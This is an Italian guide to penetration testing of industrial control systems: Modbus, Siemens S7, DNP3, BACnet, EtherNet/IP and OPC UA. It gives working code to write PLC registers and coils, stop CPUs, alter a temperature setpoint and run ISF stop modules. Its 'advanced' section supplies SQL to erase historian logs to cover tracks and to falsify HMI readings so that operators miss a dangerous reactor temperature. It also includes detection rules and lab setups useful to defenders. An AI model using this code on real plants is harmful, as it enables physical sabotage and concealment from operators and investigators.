ICS/OT pentesting: guida completa SCADA, PLC e protocolli industriali

Guida completa al penetration testing ICS/OT: protocolli Modbus, S7, DNP3, BACnet, EtherNet/IP. Tool GRASSMARLIN, pymodbus, python-snap7, ISF, IndustrialXPL-Forge. CVE 2024-2025 e attacchi reali.
- Pubblicato il 2026-06-02
- Tempo di lettura: 15 min
Come Fare ICS/OT Pentesting: Attacchi, Tool e Tecniche su Sistemi Industriali #
Scenario: Sei in un penetration test su una fabbrica, centrale elettrica, o impianto di trattamento acque. Non puoi usare Nmap -A o tool IT standard: i PLC crashano, perdi la produzione, rischi blackout fisici. Come testi la sicurezza senza distruggere l’impianto? Come accedi ai PLC Siemens senza credenziali? Come scopri cosa controllano i registri Modbus? Come rimani dentro un sistema SCADA che non può essere rebooted?
Nel 2025, 180.000 ICS device sono direttamente esposti a Internet (Bitsight 2025). Il 45% usa Modbus TCP plaintext senza autenticazione. Nel gennaio 2024, attaccanti hanno spento i riscaldamenti di 600 appartamenti a Lviv (Ucraina) con soli comandi Modbus grezzi — zero malware, zero credenziali rubate. 87% in più di attacchi ransomware OT nel 2024 (Dragos). Costo downtime: fino a $2.3 milioni/ora nelle linee automotive.
1. ICS vs IT – Le Differenze Critiche #
ICS (Industrial Control Systems) controlla il mondo fisico: fabbriche, acqua, energia, gas. Non puoi “rollbackare” un errore — se blocchi una pompa nel modo sbagliato, l’impianto si ferma.
Componenti principali:
- PLC (Programmable Logic Controller): computer che controlla macchinari specifici
- RTU (Remote Terminal Unit): versione da campo del PLC, spesso DNP3
- HMI (Human Machine Interface): schermo operatore con valori real-time
- SCADA (Supervisory Control and Data Acquisition): supervisione centralizzata
- Historian: database time-series di tutti i valori di campo
Protocolli vs IT:
- Modbus (1979): no auth, no encryption, plaintext. Il più diffuso.
- DNP3 (1993): utility SCADA, ancora 70% senza auth
- S7comm (Siemens): proprietario, porta 102, no auth di default su S7-300/400
- EtherNet/IP (Rockwell/Allen-Bradley): CIP protocol su TCP/UDP
- BACnet: building automation (HVAC, ascensori)
- OPC UA (moderno): ha security, ma spesso misconfigured
2. Purdue Model – Come è Organizzato il Network ICS #
Level 4 – Enterprise IT: uffici, email, ERP (SAP), connesso a Internet
Level 3 – DMZ/Gateway: firewall, historian, engineering WS, proxy
Level 2 – Supervisory: SCADA server, HMI, DCS
Level 1 – Control Layer: PLC, RTU, I/O modules, smart sensors
Level 0 – Field Devices: sensori (temperatura, pressione), valvole, attuatoriAttack Path Tipico: Phishing su email ingegnere (Level 4) → Pivot tramite VPN engineering (Level 3) → Accesso SCADA/historian (Level 2) → Comandi ai PLC (Level 1) → Effetto fisico (Level 0).
3. FASE 1 – Passive Reconnaissance (Zero Noise) #
Tool: GRASSMARLIN (NSA/CISA) #
GitHub: https://github.com/nsacyber/GRASSMARLIN
GRASSMARLIN mappa la topologia ICS in modo completamente passivo — non invia nessun pacchetto. Analizza pcap o monitora interfaccia di rete in sola lettura. Ideale come primo step perché non disturba i PLC.
# Install GRASSMARLIN (Java, precompiled releases disponibili)
# Download da: https://github.com/nsacyber/GRASSMARLIN/releases
# Cattura traffico passivo su interfaccia di rete (no packet injection)
java -jar grassmarlin.jar --live eth0
# Analisi offline di pcap catturato in precedenza
java -jar grassmarlin.jar --import ics_traffic.pcap
# Output: mappa topologica con:
# - IP e MAC di ogni device ICS
# - Vendor fingerprint (Siemens, Schneider, ABB, Rockwell)
# - Protocolli identificati (Modbus TCP, S7comm, DNP3)
# - Frecce che mostrano chi comunica con chi
# - Alert su device che communicano in modo anomaloErrore tipico: GRASSMARLIN è deprecated (NSA lo ha abbandonato). Funziona bene su traffico pre-2022. Per ambienti moderni con OPC UA, usa Zeek ICS plugin come alternativa.
Shodan ICS Dorks #
Shodan indicizza PLC esposti a Internet. Utile per reconnaissance esterna pre-engagement.
# Install shodan CLI
pip install shodan
shodan init YOUR_API_KEY
# Trova Modbus TCP esposti (no auth, plaintext)
shodan search "port:502 modbus"
# Siemens S7 esposti
shodan search "port:102 S7"
# Trova Schneider Electric PLCs
shodan search "Schneider Electric" port:502
# ICS devices in Italia
shodan search "port:502" country:IT
# Con filtro per versione firmware vulnerabile
shodan search "SIMATIC" port:102 country:DE
# scada_seek: tool Python con 300+ query pre-built
# GitHub: https://github.com/redhatzayn/scada_seek
git clone https://github.com/redhatzayn/scada_seek
python scada_seek.py --discover --query-id 1 # Modbus TCP exposed
python scada_seek.py --scan --max-targets 10 # Scan targets found4. FASE 2 – Active Enumeration (Low & Slow) #
Tool: Nmap NSE – ICS Protocol Scripts #
Nmap ha script NSE specifici per protocolli ICS. Usa sempre -sT (TCP connect) invece di -sS (SYN scan) su ICS — i PLC possono crashare con SYN flood.
# Scopri Modbus TCP devices e Slave ID
nmap -Pn -sT -p502 --script modbus-discover 192.168.1.0/24
# Enumera aggressivamente tutti gli Slave ID da 0 a 255
nmap --script modbus-discover \
--script-args='modbus-discover.aggressive=true' \
-p502 192.168.1.100
# Siemens S7 – identifica modello, firmware, numero serie
nmap -Pn -sT -p102 --script s7-info 192.168.1.0/24
# Output: S7-300, CPU315-2 PN/DP, Serial: S C-C2UR28922012, Firmware: V3.3.14
# DNP3 (porta 20000 UDP/TCP)
nmap -sU -p20000 --script dnp3-info 192.168.1.0/24
# BACnet (Building Automation, porta 47808 UDP)
nmap -sU -p47808 --script bacnet-info 192.168.1.0/24
# Output: vendor=Siemens, model=RXC27.5, instance=1234
# EtherNet/IP (Allen-Bradley Rockwell, porta 44818)
nmap -Pn -sT -p44818 --script enip-info 192.168.1.0/24
# Output: Allen-Bradley, MicroLogix 1400, Revision 21.4
# Fox protocol (Tridium Niagara SCADA, porta 1911)
nmap -Pn -sT -p1911 --script fox-info 192.168.1.0/24
# Scan completo protocolli ICS in una sola riga
nmap -Pn -sT -sU \
-p T:102,502,44818,1911,20000,47808,4840 \
-p U:20000,47808 \
--script "modbus-discover,s7-info,dnp3-info,bacnet-info,enip-info" \
192.168.1.0/24Tool: modbuster – Modbus CLI #
GitHub: https://github.com/TacticalGator/modbuster
Tool command-line moderno per Modbus TCP. Più leggibile di pymodbus per operazioni rapide.
git clone https://github.com/TacticalGator/modbuster
cd modbuster && pip install -r requirements.txt
# Scopri funzioni Modbus supportate dal PLC
modbuster getfunctions 192.168.1.100
# Leggi 10 holding registers da indirizzo 400001 (slave 1)
modbuster read -s 1 192.168.1.100 400001 10
# Leggi discrete inputs (sensori digitali ON/OFF)
modbuster read -s 1 -t di 192.168.1.100 100001 8
# Leggi coils (uscite digitali controllabili)
modbuster read -s 1 -t co 192.168.1.100 1 8
# Scrivi singolo coil (ON)
modbuster write -s 1 -t co 192.168.1.100 1 1
# Scrivi registro con valore specifico
modbuster write -s 1 192.168.1.100 400005 15005. FASE 3 – Modbus TCP Exploitation (pymodbus) #
GitHub: https://github.com/pymodbus-dev/pymodbus
pymodbus è la libreria Python standard per Modbus. Versione v3.x usa slave=, v4.x usa device_id=.
pip install pymodbus
# Verifica versione: python3 -c "import pymodbus; print(pymodbus.__version__)"Read & Enumerate Registers #
from pymodbus.client import ModbusTcpClient
from pymodbus.exceptions import ModbusException
client = ModbusTcpClient('192.168.1.100', port=502, timeout=5)
if not client.connect():
print("[-] Connessione fallita")
exit(1)
# Leggi Holding Registers (area dati principali, 16-bit integer)
# pymodbus v3.x: slave=1 | pymodbus v4.x: device_id=1
result = client.read_holding_registers(address=0, count=50, slave=1)
if not result.isError():
for i, val in enumerate(result.registers):
if val != 0: # Stampa solo registri non-zero (più probabili critici)
print(f" HR[{i}]: {val} (0x{val:04x})")
# Leggi Input Registers (read-only, sensori analogici)
result = client.read_input_registers(address=0, count=20, slave=1)
if not result.isError():
print(f"Input Registers: {result.registers}")
# Leggi Discrete Inputs (sensori digitali ON/OFF, read-only)
result = client.read_discrete_inputs(address=0, count=8, slave=1)
if not result.isError():
for i, bit in enumerate(result.bits[:8]):
print(f" DI[{i}]: {'ON' if bit else 'OFF'}")
# Leggi Coils (output digitali, read/write)
result = client.read_coils(address=0, count=8, slave=1)
if not result.isError():
for i, bit in enumerate(result.bits[:8]):
print(f" Coil[{i}]: {'ON' if bit else 'OFF'}")
client.close()Write Operations (Exploitation) #
from pymodbus.client import ModbusTcpClient
import time
client = ModbusTcpClient('192.168.1.100', port=502, timeout=5)
client.connect()
# Scrivi un singolo coil (ON/OFF comando fisico: pompa, valvola, relay)
# ⚠️ Effetto immediato sul macchinario fisico
result = client.write_coil(address=1, value=True, slave=1) # ON
if not result.isError():
print("[+] Coil 1 impostato a ON")
# Scrivi singolo registro (setpoint: temperatura, velocità, pressione)
result = client.write_register(address=100, value=1500, slave=1)
# Scrivi blocco di registri (modifica multipli parametri in una volta)
values = [1500, 80, 50, 25, 100]
result = client.write_registers(address=100, values=values, slave=1)
# Mask Write Register (modifica solo bit specifici, non l'intero registro)
# Usa AND mask + OR mask per modificare bit selezionati
result = client.mask_write_register(address=5, and_mask=0xFF00, or_mask=0x00FF, slave=1)
client.close()Scapy Modbus – Packet Crafting Manuale #
Scapy ha contrib Modbus per crafting di pacchetti personalizzati (function code non standard).
from scapy.contrib.modbus import ModbusADURequest, ModbusPDU03ReadHoldingRegistersRequest
from scapy.all import sr1
# Craft pacchetto Modbus Read Holding Registers (function code 0x03)
pkt = ModbusADURequest(transId=1, unitId=1) / \
ModbusPDU03ReadHoldingRegistersRequest(startAddr=0, quantity=10)
resp = sr1(pkt, iface="eth0", timeout=2)
if resp:
print(resp.show())
# Craft function code non standard (per fuzzing)
from scapy.contrib.modbus import ModbusPDU2B0EReadDeviceIdentificationRequest
pkt = ModbusADURequest(transId=2, unitId=1) / \
ModbusPDU2B0EReadDeviceIdentificationRequest(readCode=1, objectId=0)
resp = sr1(pkt, timeout=2)6. FASE 4 – Siemens S7 Exploitation (python-snap7) #
GitHub: https://github.com/gijzelaerr/python-snap7
python-snap7 v3.0 è pure Python (no dipendenze native). Comunica via protocollo S7comm (porta 102, TPKT/COTP/S7). Funziona su S7-300, S7-400, S7-1200 (con PUT/GET abilitato), S7-1500.
pip install python-snap7Discovery e Fingerprinting #
import snap7
client = snap7.Client()
client.connect('192.168.1.100', rack=0, slot=2) # rack/slot dal config TIA Portal
# Recupera info complete del PLC (modello, serial, firmware)
# ⚠️ ATTENZIONE: get_cpu_info() può CRASHARE alcuni S7-300 legacy
# Testa prima in lab con Conpot o PLCSim
info = client.get_cpu_info()
print(f"Modello: {info.ModuleTypeName.decode()}")
print(f"Serial: {info.SerialNumber.decode()}")
print(f"Firmware: {info.Copyright.decode()}")
# Output: Modello: CPU 315-2 PN/DP | Serial: S C-C2UR28922012
# Recupera stato CPU (RUN/STOP/ERROR)
state = client.get_cpu_state()
print(f"CPU State: {state}") # 0x08=RUN, 0x04=STOP, 0x10=ERROR
# Recupera livello di protezione (password impostata?)
protection = client.get_protection()
print(f"Protection Level: {protection.sch_schal}")
# 0=No protection, 1=Read only, 2=Write protect, 3=Full protectEnumera e Leggi Data Blocks #
import snap7
from snap7.types import Areas
client = snap7.Client()
client.connect('192.168.1.100', rack=0, slot=2)
# Lista tutti i blocchi disponibili nel PLC
blocks = client.list_blocks()
print(f"OB blocks: {blocks.OBCount}") # Organization Blocks (main program)
print(f"FC blocks: {blocks.FCCount}") # Functions
print(f"FB blocks: {blocks.FBCount}") # Function Blocks
print(f"DB blocks: {blocks.DBCount}") # Data Blocks (dati)
# Lista Data Block specifici con metadati
db_list = client.list_blocks_of_type('DB')
for db in db_list:
print(f" DB{db}: size={db.Size} bytes")
# Leggi intero Data Block DB1
db_data = client.db_get(db_number=1)
print(f"DB1 raw bytes: {db_data.hex()}")
# Leggi porzione specifica di DB (DB1, partendo da byte 0, 20 byte)
data = client.db_read(db_number=1, start=0, size=20)
print(f"DB1[0:20] hex: {data.hex()}")
# Parsing dei dati (float 32-bit, byte order big-endian Siemens)
import struct
float_val = struct.unpack('>f', data[0:4])[0]
int_val = struct.unpack('>H', data[4:6])[0] # UINT 16-bit
bool_val = bool(data[6] & 0x01) # Bit 0 del byte 6
print(f"Temperatura: {float_val:.2f}°C | Setpoint: {int_val} | Enable: {bool_val}")Upload Completo della Control Logic #
import snap7
from snap7.types import Block
client = snap7.Client()
client.connect('192.168.1.100', rack=0, slot=2)
# Full Upload di un blocco (include header + codice S7 compilato)
# DB1 – scarica tutta la logica del Data Block
buffer, size = client.full_upload(block_type=Block.DB, block_num=1)
with open('DB1_dump.bin', 'wb') as f:
f.write(buffer[:size])
print(f"[+] DB1 uploaded: {size} bytes → DB1_dump.bin")
# Analizza il dump con Wireshark o IDA Pro per reverse engineering
# I DB contengono: variabili, strutture, valori iniziali
# Gli OB/FC/FB contengono il programma ladder/STL compilatoCPU Control (Stop/Start) #
import snap7
client = snap7.Client()
client.connect('192.168.1.100', rack=0, slot=2)
# Stop CPU (ferma il programma PLC)
# ⚠️ Effetto immediato: tutti gli output vanno in stato sicuro (STOP)
client.plc_stop()
print("[!] CPU STOP")
import time
time.sleep(5)
# Warm restart CPU (riavvia il programma dall'ultimo stato)
client.plc_warm_restart()
print("[+] CPU WARM RESTART")
# Cold start (riavvia come fresh start)
client.plc_cold_start()Write Data Block (Logic Manipulation) #
import snap7
import struct
client = snap7.Client()
client.connect('192.168.1.100', rack=0, slot=2)
# Leggi stato attuale
original = client.db_read(db_number=1, start=0, size=20)
print(f"Originale: {original.hex()}")
# Modifica valore temperatura setpoint (float a offset 0)
new_temp = 150.0 # 150°C invece di 75°C normale
payload = bytearray(20)
payload[0:4] = struct.pack('>f', new_temp) # Float big-endian Siemens
payload[4:20] = original[4:20] # Mantieni resto invariato
# Scrivi nel DB
result = client.db_write(db_number=1, start=0, data=payload)
print(f"[+] DB1 temperatura setpoint modificata a {new_temp}°C")
# Ripristina (importante in pentest autorizzato!)
client.db_write(db_number=1, start=0, data=original)
print("[+] Ripristinato valore originale")
client.disconnect()7. FASE 5 – ISF (Industrial Security Framework) #
GitHub: https://github.com/dark-lbp/isf
ISF è il “Metasploit per ICS”. Struttura modulare con exploit per Siemens, Schneider, ABB, VxWorks, QNX. Scritto in Python (simile a routersploit).
git clone https://github.com/dark-lbp/isf
cd isf && pip install -r requirements.txt
python isf.py# Avvia ISF
isf > show exploits
# Exploit disponibili:
# exploits/plcs/siemens/s7_300_400_plc_control – S7-300/400 stop/start
# exploits/plcs/siemens/s7_1200_plc_control – S7-1200 stop/start/reset
# exploits/plcs/schneider/quantum_140_plc_control – Schneider Quantum stop/start
# exploits/plcs/qnx/qconn_remote_exec – QNX remote code execution
# exploits/plcs/vxworks/vxworks_rpc_dos – VxWorks DoS (CVE-2015-7599)
# scanners/ics/modbus_scanner – Modbus slave scanner
# scanners/ics/s7_scanner – Siemens S7 scanner
# Usa exploit Siemens S7-300/400 control
isf > use exploits/plcs/siemens/s7_300_400_plc_control
isf (S7-300/400 PLC Control) > show options
# Options: target, port (102), slot (2), command (0=start, 1=stop)
isf (S7-300/400 PLC Control) > set target 192.168.1.100
isf (S7-300/400 PLC Control) > set command stop
isf (S7-300/400 PLC Control) > run
# [+] Target is alive
# [*] Stop plc → CPU si ferma
# S7-1200 (slot diverso)
isf > use exploits/plcs/siemens/s7_1200_plc_control
isf (S7-1200) > set target 192.168.1.100
isf (S7-1200) > set slot 1 # S7-1200 usa slot 1
isf (S7-1200) > set command stop
isf (S7-1200) > run
# Schneider Quantum 140 series
isf > use exploits/plcs/schneider/quantum_140_plc_control
isf (Schneider Quantum) > set target 192.168.1.100
isf (Schneider Quantum) > set command stop
isf (Schneider Quantum) > run
# ABB CPU Command
isf > use exploits/plcs/abb/abb_cpu_command
isf (ABB CPU) > set target 192.168.1.100
isf (ABB CPU) > run
# Scanner Modbus integrato
isf > use scanners/ics/modbus_scanner
isf (Modbus Scanner) > set target 192.168.1.0/24
isf (Modbus Scanner) > run8. FASE 6 – IndustrialXPL-Forge (2025 – MITRE ATT&CK for ICS) #
PyPI: https://pypi.org/project/industrialxpl-forge/
Framework moderno 2025. SafeMode per default — simula senza inviare. Copre 79 tecniche MITRE ATT&CK for ICS, 3300+ CVE, 50 vendor, 50 protocolli. Non richiede Metasploit.
pip install industrialxpl-forge
ixf # Avvia shell interattiva# Modalità SafeMode (default): stampa payload senza inviarlo
ixf > use scanners/ics/modbus_detect
ixf > set target 192.168.1.100
ixf > check # Testa se vulnerabile (non esplota)
# Esegui MITRE ATT&CK for ICS technique T0843 (Program Download)
ixf > ttp T0843 192.168.1.100
# SafeMode: mostra payload S7 che verrebbe inviato senza mandarlo
# Disabilita SafeMode per esecuzione reale (solo su sistemi autorizzati)
ixf > set safemode off
ixf > ttp T0843 192.168.1.100
# Scan subnet con tecnica T0878 (Alarm Suppression)
ixf > ttp T0878 10.0.0.0/24
# Lista tutte le tecniche evasion ICS
ixf > ttp-list --tactic evasion
# Scan MITRE completo (modalità discovery)
ixf > mitre-scan discovery 192.168.1.0/24
# Testa specifico CVE
ixf > cve CVE-2025-41660 # CODESYS RCE (500+ vendor)
ixf > cve CVE-2015-5374 # Siemens SIPROTEC4 DoS
# Scan tutti i CVE noti sul target
ixf > cve-scan 192.168.1.100
# Report ATT&CK Navigator (layer JSON per visualizzazione)
ixf > mitre-report layer9. FASE 7 – Protocolli Aggiuntivi #
DNP3 (Utility SCADA – Acqua/Energia) #
DNP3 è usato da utility (acqua, energia elettrica). Nel 2025, 70% delle installazioni non usa “Secure Authentication v6”. Porta default: 20000 TCP/UDP.
# Enumera device DNP3 con Nmap
nmap -sU -p20000 --script dnp3-info 192.168.1.0/24
# Cattura e analizza traffico DNP3 (Wireshark)
tcpdump -i eth0 -w dnp3.pcap 'port 20000'
# In Wireshark: filtro "dnp3"
# Function codes critici: 0x01=READ, 0x03=WRITE, 0x05=DIRECT_OPERATE (controllo diretto)
# Deploy Conpot con template DNP3 (lab sicuro)
conpot --template dnp3 --bind 0.0.0.0:20000 -fBACnet (Building Automation – HVAC, Ascensori) #
BACnet controlla edifici intelligenti: riscaldamento, aria condizionata, ascensori, accesso. Porta 47808 UDP. Zero auth di default.
# Scan BACnet con Nmap
nmap -sU -p47808 --script bacnet-info 192.168.1.0/24
# Output: vendor=Johnson Controls, model=Metasys, devices=45
# BACnet-specific scanner
pip install bacpypes3
python3 -c "
from bacpypes3.ipv4.app import NormalApplication
import asyncio
# Discover BACnet devices sulla subnet
async def discover():
app = NormalApplication()
# Who-Is: broadcast per trovare tutti i device BACnet
await app.who_is()
await asyncio.sleep(2)
for device in app.discovered:
print(f'BACnet device: {device.address} - {device.objectName}')
asyncio.run(discover())
"
# Metasploit BACnet scan
msfconsole
> use auxiliary/scanner/bacnet/bacnet_device_info
> set RHOSTS 192.168.1.0/24
> exploitEtherNet/IP – Allen-Bradley / Rockwell Automation #
EtherNet/IP usa il protocollo CIP (Common Industrial Protocol). Allen-Bradley MicroLogix, ControlLogix, CompactLogix. Porta 44818 TCP.
# Scan EtherNet/IP
nmap -Pn -sT -p44818 --script enip-info 192.168.1.0/24
# cpppo: Python library per Allen-Bradley EtherNet/IP
pip install cpppo
# List Allen-Bradley PLC tags (variabili)
python3 -m cpppo.server.enip.client 192.168.1.100 "@1/1/1"
# Output: lista di tutti i tag PLC (nomi variabili, tipi, valori)
# Leggi tag specifico
python3 -m cpppo.server.enip.client 192.168.1.100 "Motor_Speed"
# Output: Motor_Speed = 1450 RPM
# Scrivi tag (cautela: effetto immediato)
python3 -m cpppo.server.enip.client 192.168.1.100 "Pump_Enable=True"OPC UA (Moderno – Spesso Misconfigured) #
OPC UA porta 4840. Anche con security mode “None” (nessuna crittografia), molti server sono accessibili senza auth.
pip install asyncua
python3 << 'EOF'
import asyncio
from asyncua import Client
async def browse_opc():
url = "opc.tcp://192.168.1.100:4840/freeopcua/server/"
async with Client(url=url) as client:
# Enumera namespace disponibili
ns = await client.get_namespace_array()
print(f"Namespaces: {ns}")
# Browse nodi root (senza autenticazione)
root = client.get_root_node()
objects = await root.get_children()
for obj in objects:
print(f"Node: {await obj.read_display_name()}")
# Leggi valore di un nodo noto
var = client.get_node("ns=2;i=2")
val = await var.read_value()
print(f"Value: {val}")
asyncio.run(browse_opc())
EOF10. FASE 8 – Reverse Engineering Control Logic #
Come Scopri Cosa Controllano i Registri #
Il problema principale: sai che esistono registri Modbus ma non sai cosa controllano. Questo è il processo per scoprirlo.
Step 1: Cattura baseline durante operazione normale
tcpdump -i eth0 'port 502' -w modbus_baseline.pcap
# Aspetta 30 minuti di operazione normale
# Analizza in Wireshark: filtro "modbus"
# Nota: quali registri vengono letti ogni 5s? Quali scritti raramente?
# Tipicamente: letture frequenti = sensori, scritture rare = setpointStep 2: Mappa visiva dei registri attivi
from pymodbus.client import ModbusTcpClient
import time
client = ModbusTcpClient('192.168.1.100', port=502, timeout=5)
client.connect()
# Scansione sistematica di tutti i registri
print("=== HOLDING REGISTERS SCAN ===")
active_registers = {}
for addr in range(0, 200):
result = client.read_holding_registers(address=addr, count=1, slave=1)
if not result.isError():
val = result.registers[0]
active_registers[addr] = val
if val != 0:
print(f" HR[{addr:03d}] = {val:5d} (0x{val:04x})")
time.sleep(0.1) # Rate limiting per non disturbare PLC
print(f"\nTotale registri attivi: {len([v for v in active_registers.values() if v != 0])}")
client.close()Step 3: Test controllato — scrivi un valore alla volta
from pymodbus.client import ModbusTcpClient
import time
client = ModbusTcpClient('192.168.1.100', port=502, timeout=5)
client.connect()
# Test registro 5: diminuisci di 1 e osserva effetto fisico
original_val = client.read_holding_registers(address=5, count=1, slave=1).registers[0]
test_val = original_val - 1 if original_val > 0 else original_val + 1
input(f"HR[5]={original_val}. Scrivo {test_val}. Guarda HMI. Premi ENTER...")
client.write_register(address=5, value=test_val, slave=1)
time.sleep(3)
# Osserva: pompa rallentata? valvola parzialmente chiusa? alarm attivato?
# Se qualcosa cambia → hai trovato un registro critico
# SEMPRE ripristina
client.write_register(address=5, value=original_val, slave=1)
print("Ripristinato")
client.close()Step 4: Documenta la mappa
HOLDING REGISTERS MAP (da reverse engineering):
HR[0]: System Status (bitfield read-only)
Bit 0: Motor Running | Bit 1: Valve Open | Bit 2: Alarm
HR[5]: Motor Speed Setpoint (0-3000 RPM) ← CRITICO
HR[10]: Temperature Setpoint (0-200, in °C*10)
HR[15]: Pressure Limit (0-100 bar) ← CRITICO
HR[20]: Pump Enable (0=OFF, 1=ON) ← CRITICO
COILS MAP:
Coil[0]: Emergency Stop (1=stop)
Coil[1]: Pump Enable
Coil[2]: Heater Enable11. FASE 9 – Advanced Attack Scenarios #
Scenario A: Historian Tampering (Cancella Tracce) #
Il SCADA historian (database time-series) registra tutto. Dopo un attacco, devi cancellare le tracce.
import pyodbc # Se historian è SQL Server (OSIsoft PI, Wonderware)
conn = pyodbc.connect('DRIVER=ODBC Driver 17 for SQL Server;'
'SERVER=192.168.1.50;DATABASE=HistorianDB;'
'UID=sa;PWD=password123')
cursor = conn.cursor()
# Cancella eventi anomali dal log (es: le tue scritture ai registri)
cursor.execute("""
DELETE FROM EventLog
WHERE Timestamp BETWEEN '2026-06-24 22:00:00' AND '2026-06-24 23:00:00'
AND Source = 'ModbusTCP'
""")
conn.commit()
print("[+] Tracce rimosse dall'historian")Scenario B: HMI Display Manipulation #
Modifica i valori visualizzati sull’HMI senza modificare il processo reale (Stuxnet-style).
# Se SCADA usa database SQL per display
# Modifica solo tabella display, non il processo
cursor.execute("""
UPDATE DisplayValues
SET DisplayValue = 75 -- Mostra 75°C (normale)
WHERE TagName = 'Temp_Reactor_1'
""")
# Mentre il valore reale è 150°C (critico)
# Operatore non vede problema
conn.commit()Scenario C: Firmware Backdoor (Stuxnet Technique) #
Modifica logica PLC per inserire backdoor persistente nel firmware.
import snap7
import struct
client = snap7.Client()
client.connect('192.168.1.100', rack=0, slot=2)
# Leggi OB1 (Organization Block 1 = main program)
ob1_data, size = client.full_upload(block_type='OB', block_num=1)
# Analizza bytecode S7 (STL compilato)
# Modifica: aggiungi condizione che attiva comportamento anomalo
# quando riceve "trigger" specifico (es: registro 999 = 0xDEAD)
# ... reverse engineering del bytecode S7 necessario
# Scrivi OB1 modificato (download)
# client.download(block_type='OB', block_num=1, modified_ob1)
# ⚠️ Permanente finché non riprogrammato con TIA Portal
client.disconnect()12. Lab Sicuro – Setup per Pratica #
GRFICSv3 – Lab OT Completo con 3D Simulation #
GitHub: https://github.com/Fortiphyd/GRFICSv3
Lab open-source con rete reale (OpenPLC, ScadaBR, HMI) e simulazione 3D di processo chimico.
# Prerequisiti: Docker + Docker Compose
git clone https://github.com/Fortiphyd/GRFICSv3
cd GRFICSv3
# Avvia tutto l'ambiente (PLC, SCADA, HMI, simulazione 3D)
docker-compose up -d
# Servizi disponibili:
# OpenPLC: http://localhost:8080 (admin/openplc) – PLC programmabile
# ScadaBR: http://localhost:8888 – SCADA server
# HMI: http://localhost:8080/hmi – Monitor operatore
# Simulazione 3D: http://localhost:3000 – Reactor chimico virtuale
# Indirizzo PLC Modbus TCP: 172.16.238.10:502
# Ora puoi testare pymodbus, ISF, IndustrialXPL-Forge contro target reali
# senza rischi fisiciConpot – Honeypot Multi-Protocollo #
GitHub: https://github.com/mushorg/conpot
pip install conpot
# Modbus TCP honeypot
conpot --template modbus --bind 0.0.0.0:502 -f
# Siemens S7 honeypot (testa python-snap7 safe)
conpot --template siemens --bind 0.0.0.0:102 -f
# DNP3 honeypot
conpot --template dnp3 --bind 0.0.0.0:20000 -f
# Guard: Conpot logga tutto, utile anche per blue team training
tail -f /var/log/conpot/conpot.log13. CVE Critici 2024-2025 #
CVE-2025-41660 (CODESYS Runtime RCE – 500+ Vendor) #
CODESYS è il runtime PLC usato da Schneider, ABB, Beckhoff, Wago e altri 500+ vendor. Buffer overflow nel parser di comunicazione → RCE.
# Identifica device con CODESYS (porta 2455, 11740)
nmap -sT -p2455,11740 192.168.1.0/24
# Se porte aperte: probabile CODESYS runtime
# Con IndustrialXPL-Forge
ixf > cve CVE-2025-41660
ixf > set target 192.168.1.100
ixf > check # Verifica vulnerabilità (SafeMode)CVE-2024-34026 (OpenPLC EtherNet/IP Buffer Overflow) #
Stack buffer overflow nel parser EtherNet/IP di OpenPLC → RCE.
# Identifica OpenPLC (EtherNet/IP porta 44818)
nmap -sT -p44818 --script enip-info 192.168.1.0/24
# Se "OpenPLC" nel banner: vulnerabile a CVE-2024-34026
# Tool di verifica
ixf > cve CVE-2024-34026
ixf > set target 192.168.1.100CVE-2015-5374 (Siemens SIPROTEC4 DoS) #
Relay di protezione Siemens (protezioni elettriche substation). UDP packet malformato → device non risponde → protezione offline.
# Identifica SIPROTEC4 (porta 50000 UDP tipica)
nmap -sU -p50000 192.168.1.0/24
# Con ISF
ixf > cve CVE-2015-5374
ixf > set target 192.168.1.100
# ⚠️ Testa SOLO in lab — effetto: relay si sbloccano, substazione senza protezione14. Blue Team Detection #
Baseline Traffico Normale #
# Cattura 1 settimana di traffico normale
tcpdump -i eth0 'port 502 or port 102 or port 44818' -w ics_baseline.pcap
# Estrai statistiche con tshark
tshark -r ics_baseline.pcap -q -z io,phs > baseline_stats.txt
# Pattern normale atteso (esempio Modbus):
# - Read HR[0-20] ogni 5 secondi (stesso master, stesso slave)
# - Write HR[100] raramente (solo da engineering WS con IP noto)
# - Nessuna comunicazione fuori orario 6:00-22:00Wireshark Filters per Anomaly Detection #
# Modbus write anomaly (mai visto prima)
modbus.func_code == 6 or modbus.func_code == 16
# S7 CPU stop command
s7comm.param.func == 0x29 and s7comm.param.subfunction == 0x01
# Nuovo source IP che comunica con PLC
ip.dst == 192.168.1.100 and not ip.src in {192.168.1.10, 192.168.1.20}
# Scanning activity (molti device contattati in sequenza)
modbus.unit_id > 0 and frame.time_delta < 0.5SIEM Rules (Splunk/ELK) #
# Detect Modbus write su registri mai modificati prima
index=ics modbus_func_code IN (5,6,15,16)
| where register_addr NOT IN (baseline_writable_registers)
| stats count by source_ip, register_addr
# Detect engineering WS connessa fuori orario
index=ics s7_connection=true
| where NOT (hour(timestamp) >= 8 AND hour(timestamp) <= 18)
| stats count by source_ip
# Detect nuovo device su OT network (non in whitelist)
index=network dest_port IN (502,102,44818,20000)
| where src_ip NOT IN (ics_whitelist)
| stats count by src_ip15. Attacchi Reali Documentati #
Lviv Heating System (Gennaio 2024) #
Attaccanti entrano via MikroTik router non securizzato (confine IT/OT senza DMZ). Creano Layer 2 tunnel verso rete OT. Mandano comandi Modbus TCP WRITE diretti ai riscaldamenti ENCO. 600 appartamenti senza riscaldamento per 2 giorni in pieno inverno ucraino. Zero malware. Zero credenziali. Solo Modbus TCP plaintext su porta 502.
Stuxnet (2010, CVE-2009-3642 et al.) #
Primo cyberweapon pubblicamente noto contro ICS. Malware entra via USB su engineering workstation, hijacka s7otbxdx.dll (Siemens TIA Portal DLL). Intercetta compilazione del programma PLC → inietta codice nel firmware S7-300 silenziosamente. Il PLC altera parametri centrifughe (Iran, Natanz) mentre HMI mostra valori normali. Persistenza nel firmware — sopravvive a reboot e reset.
Industroyer/Crashoverride (2016, Ucraina) #
Malware specializzato per grid elettrica. Manda comandi IEC 60870-5-104 ai RTU: apri i circuit breaker. 230.000 persone senza corrente. Cancella log dall’historian per rallentare incident response. Attributo a Sandworm (Russia).
TRITON/TRISIS (2017, Arabia Saudita) #
Target: sistemi di safety Schneider Triconex (Safety Instrumented System). Malware modifica la logica safety per disabilitare gli emergency shutdown. Se il processo industriale va fuori controllo, il SIS non interviene → esplosione/incidente fisico.
16. Checklist Operativa #
- Richiedi authorization scritta con scope preciso e safety officer presente
- Setup lab parallelo (GRFICSv3 o Conpot) prima di toccare sistemi reali
- Passive reconnaissance: GRASSMARLIN + Shodan (zero rumore)
- Active scan low-and-slow: Nmap NSE
-sTcon rate limiting - Enumera Modbus slaves (modbuster/pymodbus) — solo read
